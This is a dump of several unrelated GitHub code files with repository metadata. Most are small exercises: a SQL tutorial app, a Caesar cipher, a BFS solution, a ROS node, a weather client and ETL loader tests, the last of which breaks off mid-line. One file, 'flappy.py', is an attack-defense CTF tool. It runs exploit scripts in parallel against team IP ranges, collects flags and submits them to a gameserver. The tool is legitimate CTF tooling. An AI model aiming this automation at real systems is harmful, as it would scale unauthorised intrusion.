\n            You have 48 hours to explore available data, and help Haven find their soulmate before it’s too late.\n            \n            The librarian hands Haven an entity relationship diagram (ERD), which serves as a “map” to understand the relationships between different tables, and how they connect to each other. Each table has a primary key and foreign key [explain]. \n            \"\"\")\n\n            with st.expander(\"Click to reveal ERD\"):\n                st.image(\"https://www.guru99.com/images/1/100518_0621_ERDiagramTu1.png\")\n\n        st.header(\"Data Exploration\")\n\n        st.markdown(\"\"\"Based on the ERD and available info, let's explore the data. Feel free to explore on your own by hiding guided questions and writing queries using the sql console, or follow the walkthrough below.\"\"\")\n\n        hide_guidance = st.checkbox(\"Click here to hide guided questions.\", value=False)\n\n        if hide_guidance == True: \n            st.write(\"Use your SQL knowledge to figure it out!\")\n            sql_console(\"query_results0\")    \n            \n        else: \n            # first \n            st.markdown(\"\"\"\n            Let's start with some questions to understand the data. \n\n            <h4>First, write a query below that shows how many rows are in the x table.</h4>\n            \"\"\", unsafe_allow_html=True)\n\n            sql_console(\"query_results1\")\n\n            with st.expander(\"See solution\"):\n                st.code(\"\"\"select * from authors\"\"\")\n            \n            # second \n            st.markdown(\"\"\"\n            <h4>How many distinct values per column?</h4>\n            \"\"\", unsafe_allow_html=True)\n\n            sql_console(\"query_results2\")\n\n            with st.expander(\"See solution\"):\n                st.code(\"\"\"select * from authors\"\"\")\n\n            \n            # expander\n        #   with st.expander(\"Guided questions\"):\n                \n\n\n\n    else:\n        st.subheader(\"About\")\n\nif __name__ == '__main__':\n    main()\n\n\n","repo_name":"vclugoar/SQL-App","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4643,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"2576240581","text":"alphabet = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z','a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']\n\ndef ceaser(msg,shift,action):\n    \"\"\" Turn a msg into a cipher text\"\"\"\n    end_msg=\"\"\n    if action == \"decode\":\n        shift *= -1\n    for letter in msg:\n        if letter in alphabet:\n            i=alphabet.index(letter) \n            new_i=i+shift\n            end_msg += alphabet[new_i]\n        else:\n            end_msg += letter\n    print(f\"The {action}d message is: {end_msg}\")\n\nwhile True:\n    action=input(\"Type 'encode' to encrypt and 'decode' to decrypt:\\n\")\n    msg=input(\"Type your message:\\n\")\n    shift=int(input(\"Type the shift number:\\n\"))\n    shift=shift%26\n    ceaser(msg,shift,action)\n    result=input(\"continue?\")\n    if result==\"no\":\n        print(\"Goodbye\")\n        break\n","repo_name":"Rekid46/Python-Games","sub_path":"Cipher/encoder.py","file_name":"encoder.py","file_ext":"py","file_size_in_byte":966,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"15525526789","text":"from math import *\nfor n in range(11000000, 12000000):\n    div = set()\n    m = 0\n    for d in range(2, int(sqrt(n))-1):\n        if n % d == 0:\n            div.add(n//d)\n        if len(div) == 2:\n            break\n    if len(div) == 1:\n        m = 0\n    if len(div) == 2:\n        m = sum(div)\n        if (m > 0) and (m < 10000):\n            print(n, m)\n","repo_name":"anyashishkina/python_tasks","sub_path":"ege/tests/apr_v14/25.py","file_name":"25.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"21571371702","text":"#!/usr/bin/python3\n#\n#Program to add library members\n\nclass member:\n    \"\"\"class of library members\"\"\"\n    memCount = 0\n    \n    def __init__(self, name, address):\n        self.name = name\n        self.address = address\n        member.memCount += 1\n        \n    def printMemInfo(self):\n        print( \"Name: \", self.name, \", Address: \", self.address)\n        \n#function to add new member\ndef addNewMembers():\n   name = input(\"Give name: \")\n   address = input(\"Give address: \")\n   newMember = member(name, address)\n   return newMember\n\n#function to show number of members\n#def dispNumb(self):\n#    print(\"Aantal leden: \", memCount)\n\n#empty list\nmembersList = []\n\n#set answer\nanswer = 'y'\n\n#while-loop to fill membersList\nwhile answer == 'y':\n    membersList.append(addNewMembers())\n    answer = input(\"Do you want to add new member?\")\n\n#print member list\nfor lid in range(len(membersList)):\n    membersList[lid].printMemInfo()\n\n#printer mumber of members in list\ntotal = len(membersList)\nprint(\"Aantal leden: \", total)\n\n#write added members to file\nwith open(\"azemsomer/testFile2.txt\", 'w', encoding = 'utf-8') as f:\n    for lid in range(len(membersList)):\n        dataLine = membersList[lid].name + ', ' + membersList[lid].address + '\\n'\n        f.write(dataLine)\n\n#close file\nf.close\n","repo_name":"azemsomer/bibliotheek","sub_path":"addMemTest.py","file_name":"addMemTest.py","file_ext":"py","file_size_in_byte":1285,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"2116156433","text":"import sys\nfrom collections import deque\n\nN, M = list(map(int, sys.stdin.readline().split()))\nlst = [list(map(int, sys.stdin.readline().split())) for _ in range(N)]\nvisited = [[0] * M for _ in range(N)]\n\ndx = [-1, -1, -1, 0, 1, 0, 1, 1]\ndy = [-1, 0, 1, 1, 1, -1, 0, -1]\ncnt = 0\ndist = 0\n\n\ndef bfs(x, y):\n    global cnt\n    q = deque()\n    tmp = 0\n    cnt += 1\n    visited[x][y] = cnt\n    q.append((x, y))\n    while q:\n        tmp += 1\n        for _ in range(len(q)):\n            x, y = q.popleft()\n            for i in range(8):\n                _x = x + dx[i]\n                _y = y + dy[i]\n                if 0 <= _x < N and 0 <= _y < M and visited[_x][_y] < cnt:\n                    if lst[_x][_y] == 1:\n                        return tmp\n                    else:\n                        q.append((_x, _y))\n                        visited[_x][_y] = cnt\n    return tmp - 1\n\n\nfor i in range(N):\n    for j in range(M):\n        if lst[i][j] == 0:\n            dist = max(dist, bfs(i, j))\nprint(dist)\n","repo_name":"Jungwoo-20/Algorithm","sub_path":"BAEKJOON/17086.py","file_name":"17086.py","file_ext":"py","file_size_in_byte":998,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"23519076869","text":"#!/usr/bin/env python\n\n#This node publishes error in camera coordination frame\n\nimport rospy\nimport math\nfrom serwo.msg import ErrorInfo\n\ndef talker():\n    pub = rospy.Publisher('error', ErrorInfo, queue_size=10)\n    rospy.init_node('error_generator', anonymous=True)\n    msg = ErrorInfo()\n    rate = rospy.Rate(500) \n\n    while not rospy.is_shutdown():       \n        y = math.sin(rospy.get_time()/5)\n        error = y/5    \n        msg.error = error\n        msg.found = 1\n        pub.publish(msg)\n        rate.sleep()\n\nif __name__ == '__main__':\n    try:\n        talker()\n    except rospy.ROSInterruptException:\n        pass\n","repo_name":"mwegiere/serwo","sub_path":"src/y/object_seen_by_camera_y.py","file_name":"object_seen_by_camera_y.py","file_ext":"py","file_size_in_byte":627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"18166786563","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"Run exploits against selected targets and collect flags.\"\"\"\n\n# pip install --user requests iptools regex\n\nimport os\nimport sys\nimport signal\nimport socket\nimport logging\nimport argparse\nimport threading\nimport subprocess\nfrom queue import Empty, Queue\nfrom time import sleep, time\n\nimport iptools\nimport requests\n# using regex for additional features over standard re\nimport regex as re\n\n# ================================================================================\n# CONFIG.\n# Edit the settings below and adjust the get_flagids_service and submit_flags \n# functions. Alternative implementations are provided as _get_flagids_service and\n# _submit_flags. You may also want to customize the init_teams function, for\n# instance to hardcode a list reachable Team instances.\n# ================================================================================\n\n# your team token for flag submission/gameserver interaction, if needed\nTEAM_TOKEN = 'h4ck7h3pl4n37'\n# compiled regular expression matching a flag\nFLAG_PATTERN = re.compile(b'FLAG\\{[a-zA-Z0-9]{32}\\}')\n# duration of a round, in seconds. Divide it by 2 to attack with higher frequency!\nROUND_DURATION = 90\n# endpoint serving the JSON with flag ids, use the IP address in case of DNS issues\nFLAGID_URL = 'http://10.0.0.1/api/flag_id'\n# flag submission URL for HTTP-based systems\nFLAG_SUBMISSION_URL = 'http://10.0.0.1/submit'\n# flag submission server host and port for socket-based systems\nFLAG_SUBMISSION_HOST = '10.0.13.37'\nFLAG_SUBMISSION_PORT = 1337\n# maximum timeout for interactions with the gameserver\nBASE_TIMEOUT = 5\n# logging format\nLOGGING_FMT = '[%(name)s %(levelname)s] %(message)s'\n\n# ================================================================================\n# /CONFIG\n# ================================================================================\n\n\n__author__ = \"Marco Squarcina\"\n__license__ = \"MIT\"\n__copyright__ = \"Copyright 2014-2022\"\n__maintainer__ = \"Marco Squarcina\"\n__email__ = \"marco.squarcina@tuwien.ac.at\"\n\n# global variables\n\n# custom logger\nlogger = logging.getLogger('attack')\n# task queue: each task is an ip to be processed\ntasks_noprio = Queue()\n# print the output of each exploit if set to True\nstdout_print = False\n# disable reporting errors if set to True\nstderr_print = False\n# number of times it's needed to press ctrl-c before brutally dying\ndeath_countdown = 5\n# global dictionary of the teams, where the key is the team ip and the value a Team instance\nteams = dict()\n# lock used to modify the teams dictionary\nlock = threading.Lock()\n\n_colors = dict(black=30, red=31, green=32, yellow=33,\n               blue=34, magenta=35, cyan=36, lgray=37,\n               dgray=90, lred=91, lgreen=92, lyellow=93,\n               lblue=94, lmagenta=95, lcyan=96, white=97)\n\n\n# classes\n\nclass _AnsiColorizer(object):\n    \"\"\"\n    A colorizer is an object that loosely wraps around a stream, allowing\n    callers to write text to the stream in a particular color.\n\n    Colorizer classes must implement C{supported()} and C{write(text, color)}.\n    \"\"\"\n\n    def __init__(self, stream):\n        self.stream = stream\n\n    @classmethod\n    def supported(cls, stream=sys.stdout):\n        \"\"\"\n        A class method that returns True if the current platform supports\n        coloring terminal output using this method. Returns False otherwise.\n        \"\"\"\n\n        if not stream.isatty():\n            return False  # auto color only on TTYs\n        try:\n            import curses\n        except ImportError:\n            return False\n        else:\n            try:\n                try:\n                    return curses.tigetnum(\"colors\") > 2\n                except curses.error:\n                    curses.setupterm()\n                    return curses.tigetnum(\"colors\") > 2\n            except:\n                raise\n                # guess false in case of error\n                return False\n\n    def write(self, text, color):\n        \"\"\"Write the given text to the stream in the given color.\"\"\"\n        self.stream.write(colorize(text, color))\n\n\nclass ColorHandler(logging.StreamHandler):\n\n    def __init__(self, stream=sys.stderr):\n        super(ColorHandler, self).__init__(_AnsiColorizer(stream))\n\n    def emit(self, record):\n        msg_colors = {\n            logging.DEBUG: \"lgreen\",\n            logging.INFO: \"blue\",\n            logging.WARNING: \"yellow\",\n            logging.ERROR: \"magenta\",\n            logging.CRITICAL: \"red\"\n        }\n\n        msg = self.format(record)\n        color = msg_colors.get(record.levelno, \"blue\")\n        self.stream.write(msg + \"\\n\", color)\n\n\nclass Team:\n\n    def __init__(self, tid, ip, name='', flag_ids=[]):\n        self.tid = tid\n        self.name = name\n        self.ip = ip\n        self.flag_ids = flag_ids\n\n        # flags retrieved in the last round\n        self.num_flags = 0\n        # time spent while performing the last attack on this team\n        self.time_elapsed = 10\n        # boolean value representing whether a timeout occurred while attacking or not\n        self.timed_out = False\n\n    def __repr__(self):\n        return f'{self.ip} ({self.name})' if self.name else f'{self.ip}'\n\n\nclass Worker(threading.Thread):\n    \"\"\"Attack one team with the provided exploit and retrieve all the flags.\"\"\"\n\n    killing_time = threading.Event()\n\n    def __init__(self, n, exploit, service, timeout, do_submit):\n        super(Worker, self).__init__()\n        # numeric identifier of the worker\n        self.n = n\n        # file name of the exploit to be executed\n        self.exploit = os.path.abspath(exploit)\n        # name of the service being attacked\n        self.service = service\n        # number of seconds to wait before killing an exploit\n        self.timeout = timeout\n        # team being attacked\n        self.team = None\n        # list of flags retreived from the attacked team\n        self.flags = []\n        # make it a daemon thread\n        self.daemon = True\n        # if true submit flags found\n        self.do_submit = do_submit\n\n    def run(self):\n        \"\"\"Extract and execute jobs from the tasks queue until there is\n        nothing left to do.\"\"\"\n\n        # fetch tasks from the queue\n        while not Worker.killing_time.is_set():\n            try:\n                self.team = tasks_noprio.get_nowait()\n                self._attack()\n            except Empty:\n                # terminate if the queue is empty\n                break\n\n    def _attack(self):\n        \"\"\"Attack a target: execute the exploit, read its output, extract the\n        retrieved flags and submit them.\"\"\"\n\n        # execute the exploit\n        data, time_elapsed, timed_out = self._execute()\n        # extract flags from the raw data returned by the script\n        self.flags = FLAG_PATTERN.findall(data) if data else []\n\n        flags_to_send = set()\n        num_flags = 0\n        if self.flags and self.do_submit:\n            flags_to_send = set(flag.decode('latin-1') for flag in self.flags)\n\n            # check if the current team is returning too many flags\n            num_flags = len(flags_to_send)\n            if num_flags > 50:\n                logger.warning(self._logalize(f'Returned {num_flags} flags!'))\n\n            # submit the flags\n            if flags_to_send:\n                submit_flags(flags_to_send)\n                logger.debug(\n                    self._logalize(\n                        'Sent {} flags: {}'.format(\n                            num_flags, colorize(', '.join(flags_to_send), 'green')\n                )))\n\n        # update stats about the team\n        self.team.num_flags = num_flags\n        self.team.time_elapsed = time_elapsed\n        self.team.timed_out = timed_out\n\n    def _execute(self):\n        \"\"\"Execute the exploit and return the result, kill it if timeouts.\"\"\"\n\n        # program output\n        data = bytes()\n        errors = bytes()\n        timed_out = False\n        elapsed_time = 0\n        # record the time elapsed for completion\n        time_before = time()\n        try:\n            logger.debug(self._logalize('Executing'))\n            # exploits are always called with 3 or more parameters:\n            # ./exploit.sh <team_ip> <team_id> [flag_id ...]\n            # if only the ip is needed, the script should ignore the other 2\n            # arguments\n            proc = subprocess.Popen(\n                [self.exploit, self.team.ip, self.team.tid, *self.team.flag_ids],\n                preexec_fn=os.setsid, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n            data, errors = proc.communicate(timeout=self.timeout)\n        except subprocess.TimeoutExpired as e:\n            logger.debug(self._logalize(f'Timeout exceeded for pid {proc.pid}'))\n            timed_out = True\n            # kill the process tree gently and wait a small amount of time for\n            # the process to clear resources\n            os.killpg(proc.pid, signal.SIGTERM)\n            proc.wait(timeout=1)\n            # check if the process has terminated and in this case try to\n            # kill it with a SIGKILL\n            if proc.poll() is None:\n                os.killpg(proc.pid, signal.SIGKILL)\n            data, errors = proc.communicate()\n        except OSError as e:\n            # the program terminated already\n            logger.error(self._logalize(f'Error while executing {self.exploit}: {e}'))\n        except Exception as e:\n            # wtf happened? this is an unknown error\n            logger.error(self._logalize(f'Error: {e}'))\n        \n        # print the requested output\n        if stdout_print:\n            print(self._logalize(f'Data: {data}'))\n        if stderr_print and len(errors):\n            logger.error(self._logalize(f'Error: {errors.decode()}'))\n\n        elapsed_time = time() - time_before\n\n        return data, elapsed_time, timed_out\n\n    def _logalize(self, message):\n        \"\"\"Return a pretty string ready to be logged.\"\"\"\n\n        return 'team {}: {}'.format(self.team, message)\n\n\n# functions\n\ndef colorize(text, color):\n    return '\\x1b[{}m{}\\x1b[0m'.format(_colors[color], text)\n\n\ndef parse_ips(ips_mixed):\n    \"\"\"Parse a mixed list of IPs and IP ranges and return them as a list.\"\"\"\n\n    ips = set()\n    if isinstance(ips_mixed, str):\n        ips_mixed = ips_mixed.split()\n    for ip_mixed in ips_mixed:\n        ips |= {ip for ip in iptools.IpRange(*ip_mixed.split('-'))}\n\n    return list(ips)\n\n\ndef init_teams(args_ips, service_name):\n    \"\"\"Initialize the global dictionary of teams to attack.\"\"\"\n\n    global teams\n\n    ips = parse_ips(args_ips) if args_ips else []\n    teams = {ip: Team(str(tid), ip) for tid, ip in enumerate(ips)}\n\n    if not teams:\n        die('No targets provided')\n\n    # fetch flag_ids and assign them to each team\n    flag_ids = get_flagids_service(service_name)\n    \n    if flag_ids:\n        for ip, team in teams.items():\n            try:\n                team.flag_ids = flag_ids[ip]\n            except KeyError:\n                logging.warning(f'Unable to find ip {ip} among the flag ids returned by the API')\n        logger.debug('Updated the dictionary of targets: {}'.format(teams))\n\n\ndef kill(signal, frame):\n    \"\"\"Instructs the workers to terminate as soon as possible.\"\"\"\n\n    global death_countdown\n\n    death_countdown -= 1\n\n    if death_countdown <= 0:\n        die(\"It's time to die.\")\n\n    logger.critical((\n        'Ctrl-C pressed, waiting for workers to timeout and quit... '\n        '(press it {} times more to die)').format(\n        death_countdown))\n\n    # empty the tasks queue\n    try:\n        while True:\n            tasks_noprio.get_nowait()\n    except Empty:\n        pass\n    # set the killing event\n    Worker.killing_time.set()\n\n\ndef die(message):\n    logger.critical(message)\n    sys.exit(1)    \n\n\ndef watchdog():\n    \"\"\"Called when the tasks queue is not consumed within the round lifespan.\"\"\"\n\n    logger.warning((\n        'Unable to attack the whole range of IPs within the duration '\n        'of one round! Increase the number of workers or decrease '\n        'the workers timeout'))\n\n\ndef print_team_stats(elapsed_time):\n    \"\"\"Print some stats about the teams attacked in the last round.\"\"\"\n\n    teams_fast_w_flags = []\n    teams_fast_wo_flags = []\n    teams_slow_w_flags = []\n    teams_slow_wo_flags = []\n\n    for team in teams.values():\n        if team.timed_out:\n            if team.num_flags:\n                teams_slow_w_flags.append(team)\n            else:\n                teams_slow_wo_flags.append(team)\n        else:\n            if team.num_flags:\n                teams_fast_w_flags.append(team)\n            else:\n                teams_fast_wo_flags.append(team)\n\n    logger.info((\n        '\\n'\n        'BEGIN of stats for last round\\n'\n        '=========================================================\\n'\n        'Time elapsed: {:.3g}s\\n'\n        'Fast teams with flags: {}\\n'\n        'Fast teams without flags: {}\\n'\n        'Timing-out teams with flags: {}\\n'\n        'Timing-out teams without flags: {}\\n'\n        '=========================================================\\n'\n        'END of stats for last round\\n').format(\n        elapsed_time,\n        teams_fast_w_flags, teams_fast_wo_flags,\n        teams_slow_w_flags, teams_slow_wo_flags))\n\n\ndef parse_args():\n    \"\"\"Parse command line arguments.\"\"\"\n\n    parser = argparse.ArgumentParser(description='Exploit execution toolkit')\n    group = parser.add_mutually_exclusive_group()\n\n    group.add_argument('-ip', type=str, nargs='+',\n                       help='List of IPs or IP ranges to attack')\n    parser.add_argument('-x', dest='exploit', type=str, required=True,\n                        help='Path of the exploit to be executed (remember to make the exploit executable!)')\n    parser.add_argument('-s', dest='service', type=str, required=True,\n                        help='Name of the service to attack (it should match the entry found in the flag id endpoint!)')\n    parser.add_argument('-1', '--oneshot', dest='oneshot', action='store_true',\n                        help='Exit after exploiting the provided teams instead of looping')\n    parser.add_argument('-n', dest='num_workers', type=int, default=1,\n                        help='Number of concurrent workers (default 1)')\n    parser.add_argument('-t', '--timeout', dest='timeout', type=int, default=10,\n                        help='Seconds to wait before killing a spawned script (default 10)')\n    parser.add_argument('-C', '--no-color', dest='color_log', action='store_false',\n                        help='Do not colorize the logs')\n    parser.add_argument('-W', '--no-wait', dest='wait_round', action='store_false',\n                        help='Continuously attack without waiting for the end of the round, be careful it might cause DoS')\n    parser.add_argument('-N', '--no-submit', dest='do_submit', action='store_false',\n                        help='Run the attack without submitting captured flags')\n    parser.add_argument('-S', '--no-stats', dest='show_stats', action='store_false',\n                        help='Disable statistics about the attacked teams')\n    parser.add_argument('-p', '--print', dest='stdout_print', action='store_true',\n                        help='Print stdout of the exploit')\n    parser.add_argument('-e', '--errors', dest='stderr_print', action='store_true',\n                        help='Print stderr of the exploit')\n    parser.add_argument('-v', dest='verbose', action='count',\n                        default=0, help='Set logger level to debug'),\n\n    return parser.parse_args()\n\n\ndef get_flagids_service(service):\n    \"\"\"Get the flag_ids of all teams for a given service.\"\"\"\n\n    flagids = dict()\n    endpoint = FLAGID_URL\n    try:\n        r = requests.get(endpoint, timeout=BASE_TIMEOUT)\n        if r.status_code == 200:\n            flagids = r.json()\n            if not flagids:\n                logger.warning(f'Flag ID JSON empty')    \n        elif r.status_code == 404:\n            logger.warning(f'Failed fetching {endpoint}: {r.text}')\n        else:\n            logger.warning(f'Unknown return code {r.status_code} while fetching {endpoint}')\n    except requests.exceptions.Timeout as e:\n        logger.warning(f'Timeout while fetching {endpoint}')\n\n    try:\n        return flagids[service]\n    except KeyError:\n        logger.warning(f'No flag ids for service {service}')\n        return None\n\n\ndef _get_flagids_service(service):\n    \"\"\"Get the flag_ids of all teams for a given service (example from Bambi CTF #7).\"\"\"\n\n    flagids = dict()\n    endpoint = FLAGID_URL\n    try:\n        r = requests.get(endpoint, timeout=BASE_TIMEOUT)\n        if r.status_code == 200:\n            for team_ip, data in r.json()[\"services\"][service].items():\n                x = [(int(k),v) for k,v in data.items()]\n                p = sorted(x)[-1][1]\n                flagids.setdefault(team_ip, []).extend(\n                    [item for sl in p.values() for item in sl]\n                )\n        elif r.status_code == 404:\n            logger.warning(f'Failed fetching {endpoint}: {r.text}')\n        else:\n            logger.warning(f'Unknown return code {r.status_code} while fetching {endpoint}')\n    except requests.exceptions.Timeout as e:\n        logger.warning(f'Timeout while fetching {endpoint}')\n\n\ndef submit_flags(flags):\n    \"\"\"HTTP-based flag submission.\"\"\"\n\n    endpoint = FLAG_SUBMISSION_URL\n    for flag in flags:\n        try:\n            r = requests.post(endpoint, data={'team_token': TEAM_TOKEN, 'flag': flag}, timeout=BASE_TIMEOUT)\n            if r.status_code == 200:\n                if 'Flag accepted' in r.text:\n                    logger.info(f'Flag {flag} accepted!')\n                else:\n                    logger.warning(f'Flag {flag} failed.')\n            else:\n                logger.warning(f'Invalid HTTP return code {r.status_code} while submitting {flag} to {endpoint}')\n        except requests.exceptions.Timeout as e:\n            logger.warning(f'Timeout while submitting {flag} to {endpoint}')\n\n\ndef _submit_flags(flags):\n    \"\"\"Socket-based flag submission (example from Bambi CTF #7).\"\"\"\n\n    try:\n        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        sock.settimeout(BASE_TIMEOUT)\n        sock.connect((FLAG_SUBMISSION_HOST, FLAG_SUBMISSION_PORT))\n        payload = b'\\n'.join(s.encode() for s in flags) + b'n'\n        sock.sendall(payload)\n        sock.close()\n    except Exception as e:\n        logger.warning(f'Error while sending flags: {e}', exc_info=True)\n\n\ndef main():\n    global stdout_print, stderr_print\n\n    args = parse_args()\n\n    # initialize variables\n    stdout_print = args.stdout_print\n    stderr_print = args.stderr_print\n    service_name = args.service  \n\n    # initialize logging\n    logging.basicConfig(\n        format=LOGGING_FMT,\n        level=logging.DEBUG if args.verbose else logging.INFO,\n        handlers=[ColorHandler() if args.color_log else logging.StreamHandler()])\n\n    # register the killer handler\n    signal.signal(signal.SIGINT, kill)\n\n    while True:\n        # get targets to attack\n        init_teams(args.ip, service_name)\n\n        # populate the tasks priority queue of tasks\n        for team in teams.values():\n            tasks_noprio.put_nowait(team)\n\n        # if the loop takes too much time print a warning\n        timer = threading.Timer(ROUND_DURATION, watchdog)\n        timer.daemon = True\n        timer.start()\n\n        # record the elapsed time needed to attack all teams\n        time_start = time()\n\n        # create the list of workers and start all of them\n        workers = []\n        for i in range(args.num_workers):\n            workers.append(Worker(i, args.exploit, service_name, args.timeout, args.do_submit))\n            workers[i].start()\n\n        # wait responsively: sleep until the queue is empty or an event is thrown\n        while not tasks_noprio.empty():\n            Worker.killing_time.wait(1)\n        # join the workers\n        for worker in workers:\n            worker.join()\n        # reset the timer\n        timer.cancel()\n\n        # stop the timer\n        elapsed_time = time() - time_start\n\n        # show stats about the attacked teams, if requested\n        if args.show_stats:\n            print_team_stats(elapsed_time)\n\n        # terminate if it's killing time or if --oneshot is provided\n        if Worker.killing_time.is_set() or args.oneshot:\n            break\n\n        # wait the end of the round\n        seconds_to_round_end = ROUND_DURATION - elapsed_time\n\n        if args.wait_round and seconds_to_round_end > 0:\n            logger.info('Sleeping for {} seconds before attacking again'.format(\n                seconds_to_round_end))\n            sleep(seconds_to_round_end)\n\n    # exit gracefully\n    sys.exit(0)\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"lavish/flappy","sub_path":"flappy.py","file_name":"flappy.py","file_ext":"py","file_size_in_byte":20692,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"35"}
{"seq_id":"34568512883","text":"import sys\n\nn,k = input().strip().split(' ')\nn,k = [int(n),int(k)]\nx = [int(x_temp) for x_temp in input().strip().split(' ')]\nx = list(set(x))\nx.sort()\n\nret = 0\nstartP = 0\nflag = False\n\nfor i in x :\n    if i < startP :\n        continue\n    for j in range(n) :\n        if x[j] < startP :\n            continue\n        if x[j]-k > i :\n            startP = x[j-1]+k+1\n            ret+=1\n            if x[j]+k >= x[-1] :\n                flag = True\n            break\n    if flag :\n        break\nret+=1\nprint(ret)","repo_name":"BakJungHwan/Exer_book","sub_path":"Python Codes-Unknown/RadioTransmit2.py","file_name":"RadioTransmit2.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"27584054315","text":"import requests\nfrom datetime import datetime\n\nSAMPLE_API_KEY = 'b6907d289e10d714a6e88b30761fae22'\n\n\ndef current_weather(location, api_key=SAMPLE_API_KEY):\n    url = 'https://api.openweathermap.org/data/2.5/weather'\n\n    query_params = {\n        'units': 'metric',\n        'lang': 'zh_tw',\n        'q': location,\n        'appid': api_key,\n    }\n\n    response = requests.get(url, params=query_params)\n    print(response.url)\n    weather = response.json()\n    print(datetime.fromtimestamp(weather['dt']))\n\n    return (weather['weather'][0]['description'],\n            weather['main']['temp'],\n            weather['main']['temp_min'],\n            weather['main']['temp_max'])\n","repo_name":"leoluyi/code-snippets","sub_path":"python-cli/weather-cli/weather.py","file_name":"weather.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"4193366480","text":"\"\"\"Tests for ETL loaders\"\"\"\n# pylint: disable=redefined-outer-name,too-many-locals,too-many-lines\nfrom types import SimpleNamespace\n\nimport pytest\nfrom django.contrib.contenttypes.models import ContentType\nfrom django.forms.models import model_to_dict\n\nfrom course_catalog.constants import PlatformType, PrivacyLevel, UserListType\nfrom course_catalog.etl.constants import CourseLoaderConfig, OfferedByLoaderConfig\nfrom course_catalog.etl.exceptions import ExtractException\nfrom course_catalog.etl.loaders import (\n    load_content_file,\n    load_content_files,\n    load_course,\n    load_courses,\n    load_instructors,\n    load_offered_bys,\n    load_playlist,\n    load_playlist_user_list,\n    load_playlists,\n    load_podcast,\n    load_podcast_episode,\n    load_podcasts,\n    load_prices,\n    load_program,\n    load_programs,\n    load_run,\n    load_topics,\n    load_video,\n    load_video_channels,\n    load_videos,\n)\nfrom course_catalog.etl.xpro import _parse_datetime\nfrom course_catalog.factories import (\n    ContentFileFactory,\n    CourseFactory,\n    CourseInstructorFactory,\n    CoursePriceFactory,\n    CourseTopicFactory,\n    LearningResourceOfferorFactory,\n    LearningResourceRunFactory,\n    PlaylistFactory,\n    PodcastEpisodeFactory,\n    PodcastFactory,\n    ProgramFactory,\n    UserListFactory,\n    VideoChannelFactory,\n    VideoFactory,\n)\nfrom course_catalog.models import (\n    ContentFile,\n    Course,\n    LearningResourceRun,\n    Playlist,\n    PlaylistVideo,\n    Podcast,\n    PodcastEpisode,\n    Program,\n    ProgramItem,\n    UserList,\n    UserListItem,\n    Video,\n    VideoChannel,\n)\n\npytestmark = pytest.mark.django_db\n\n\n@pytest.fixture(autouse=True)\ndef mock_blocklist(mocker):\n    \"\"\"Mock the load_course_blocklist function\"\"\"\n    return mocker.patch(\n        \"course_catalog.etl.loaders.load_course_blocklist\", return_value=[]\n    )\n\n\n@pytest.fixture(autouse=True)\ndef mock_duplicates(mocker):\n    \"\"\"Mock the load_course_duplicates function\"\"\"\n    return mocker.patch(\n        \"course_catalog.etl.loaders.load_course_duplicates\", return_value=[]\n    )\n\n\n@pytest.fixture(autouse=True)\ndef mock_tasks(mocker):\n    \"\"\"Mock out course_catalog tasks\"\"\"\n    return SimpleNamespace(\n        get_video_topics=mocker.patch(\"course_catalog.tasks.get_video_topics\")\n    )\n\n\n@pytest.fixture(autouse=True)\ndef mock_upsert_tasks(mocker):\n    \"\"\"Mock out the upsert task helpers\"\"\"\n    return SimpleNamespace(\n        upsert_course=mocker.patch(\"search.search_index_helpers.upsert_course\"),\n        delete_course=mocker.patch(\"search.search_index_helpers.deindex_course\"),\n        upsert_program=mocker.patch(\"search.search_index_helpers.upsert_program\"),\n        delete_program=mocker.patch(\"search.search_index_helpers.deindex_program\"),\n        upsert_video=mocker.patch(\"search.search_index_helpers.upsert_video\"),\n        delete_video=mocker.patch(\"search.search_index_helpers.deindex_video\"),\n        delete_user_list=mocker.patch(\"search.search_index_helpers.deindex_user_list\"),\n        upsert_user_list=mocker.patch(\"search.search_index_helpers.upsert_user_list\"),\n        upsert_podcast=mocker.patch(\"search.search_index_helpers.upsert_podcast\"),\n        upsert_podcast_episode=mocker.patch(\n            \"search.search_index_helpers.upsert_podcast_episode\"\n        ),\n        delete_podcast=mocker.patch(\"search.search_index_helpers.deindex_podcast\"),\n        delete_podcast_episode=mocker.patch(\n            \"search.search_index_helpers.deindex_podcast_episode\"\n        ),\n        index_run_content_files=mocker.patch(\n            \"search.search_index_helpers.index_run_content_files\"\n        ),\n    )\n\n\n@pytest.mark.parametrize(\"program_exists\", [True, False])\n@pytest.mark.parametrize(\"is_published\", [True, False])\n@pytest.mark.parametrize(\"courses_exist\", [True, False])\n@pytest.mark.parametrize(\"has_prices\", [True, False])\n@pytest.mark.parametrize(\"has_retired_course\", [True, False])\ndef test_load_program(\n    mock_upsert_tasks,\n    program_exists,\n    is_published,\n    courses_exist,\n    has_prices,\n    has_retired_course,\n):  # pylint: disable=too-many-arguments\n    \"\"\"Test that load_program loads the program\"\"\"\n    program = (\n        